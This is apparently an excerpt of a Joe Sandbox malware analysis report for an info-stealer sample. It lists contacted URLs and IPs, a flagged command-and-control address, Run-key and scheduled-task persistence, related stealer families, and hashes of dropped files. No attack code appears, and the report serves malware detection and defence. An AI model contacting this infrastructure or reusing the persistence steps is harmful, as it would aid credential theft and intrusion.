https://community.fastly.steamstatic.com/public/javascript/applicationsL	1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/6Y?:8	1017b01294.exe, 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://recaptcha.net/recaptcha/;	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.14.dr	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geon	1017b01294.exe, 00000026.00000002.2515623156.000000000088A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis	1017b01294.exe, 00000022.00000002.2515038353.0000000000DDC000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php;M	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://broadcast.st.dl.eccdnx.com	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	1017b01294.exe, 00000022.00000003.2492407708.00000000057EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/pW	1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_487.10.dr, chromecache_489.10.dr	false		high
https://steamcommunity.com/workshop/	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	1017b01294.exe, 00000022.00000003.2494329841.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.000000000088A000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/p	1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://domains.google.com/suggest/flow	chromecache_489.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpeSE	skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.192.247.89	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
142.250.185.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.219.161.135	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.139.47.108	unknown	United States	16509	AMAZON-02US	false
23.33.40.145	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
4.150.155.223	unknown	United States	3356	LEVEL3US	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	marshal-zhukov.com	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.33.40.155	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.203.19	unknown	United States	20940	AKAMAI-ASN1EU	false
20.189.173.18	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.206	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
172.217.16.206	play.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.72	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553906
Start date and time:	2024-11-11 19:16:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/255@59/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.185.78, 64.233.166.84, 34.104.35.123, 142.250.185.195, 142.250.185.234, 172.217.23.106, 216.58.206.74, 142.250.185.170, 142.250.186.170, 142.250.185.202, 142.250.74.202, 142.250.184.202, 142.250.185.74, 172.217.18.106, 142.250.181.234, 142.250.186.42, 142.250.186.74, 142.250.185.138, 142.250.185.106, 142.250.186.138, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.186.78, 13.107.6.158, 20.82.9.214, 2.19.126.152, 2.19.126.145, 88.221.110.179, 88.221.110.195, 2.23.209.150, 2.23.209.141, 2.23.209.158, 2.23.209.176, 2.23.209.148, 2.23.209.140, 2.23.209.149, 2.23.209.160, 2.23.209.177, 2.23.209.130, 2.23.209.185, 2.23.209.193, 2.23.209.179, 2.23.209.182, 2.23.209.187, 2.23.209.189, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.38.98.100, 23.38.98.112, 23.38.98.113, 23.38.98.99, 23.38.98.117, 23.38.98.114, 23.38.98.118, 23.38.98.106, 23.38.98.121, 2.22.50.131, 108.141.37.120, 20.42.73.31, 20.103.156.88, 93.184.221.240, 72.21.81.2
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, iris-de-prod-azsc-v2-weu.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, time.windows.com, onedscolprdeus21.eastus.cloudapp.azure.com, arc.msn.com, www.bing.com.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:11:59	API Interceptor	14x Sleep call for process: file.exe modified
15:13:03	API Interceptor	249x Sleep call for process: skotes.exe modified
15:13:20	API Interceptor	13x Sleep call for process: 1017b01294.exe modified
21:12:06	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
21:13:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1017b01294.exe C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe
21:13:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 474b2c9b63.exe C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe
21:13:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2018142c2f.exe C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe
21:13:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1017b01294.exe C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe
21:13:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 474b2c9b63.exe C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe
21:14:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2018142c2f.exe C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	95.100.48.249
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	2.19.126.219
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	88.221.169.152
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse	23.195.92.153
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	95.100.48.249
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
	https://axieu.com/terma/GeHDLf	Get hash	malicious	Unknown	Browse	104.22.39.245
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	20.236.44.162
	nanocore.exe	Get hash	malicious	NanoCore	Browse	51.103.213.187
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	40.108.137.194
	njrat.exe	Get hash	malicious	BrowserPasswordDump Tool, Njrat	Browse	51.103.213.187
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	52.108.9.12
	dcrat.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	51.103.213.187
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse	13.107.246.67
	Everything.exe	Get hash	malicious	SilverRat	Browse	13.107.246.44
	EAAntiCheat.Services.exe	Get hash	malicious	SilverRat	Browse	13.107.246.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://9lrcO5435enkIg6bUCf.duzl.de/9lrcO/enkIg6bUCf/n6tpnsszmdaibMhCn01b1b7xgen/9lrcO/enkIg6bUCf/Michael+AF8-jakubek/5435/qvc.com/n6tpnsszmdaibMhCn01b+ACI-	Get hash	malicious	Unknown	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fthedailyparanoia%2Ecom%2F	Get hash	malicious	HTMLPhisher	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	https://estore.winxdvd.com/l.php?link=uh75n2uyaf5b%7C143517067	Get hash	malicious	Unknown	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	https://fvggtrgtr57crthrvtrhrh.s3.us-east-2.amazonaws.com/u7yy78ty7t6fg67t676t/hg7g6g6gfvj5rfj/index.html	Get hash	malicious	Unknown	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	https://klick.publikator.se/?BREV_ID=592&EPOST=kent.isaksson@platspecialisten.se&URL=https://link.mail.tailwindapp.com/c/443/65791c056ee100f6e0b1ce0da6ffd5aaa4304af6d9041064814b00b317faceea	Get hash	malicious	HTMLPhisher	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
	http://dse_NA4@docusign.net	Get hash	malicious	Unknown	Browse	20.190.160.14 4.245.163.56 13.107.246.45 52.165.164.15 184.28.90.27 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3 23.192.247.89
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIIJDAAAAKFHIDAAAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
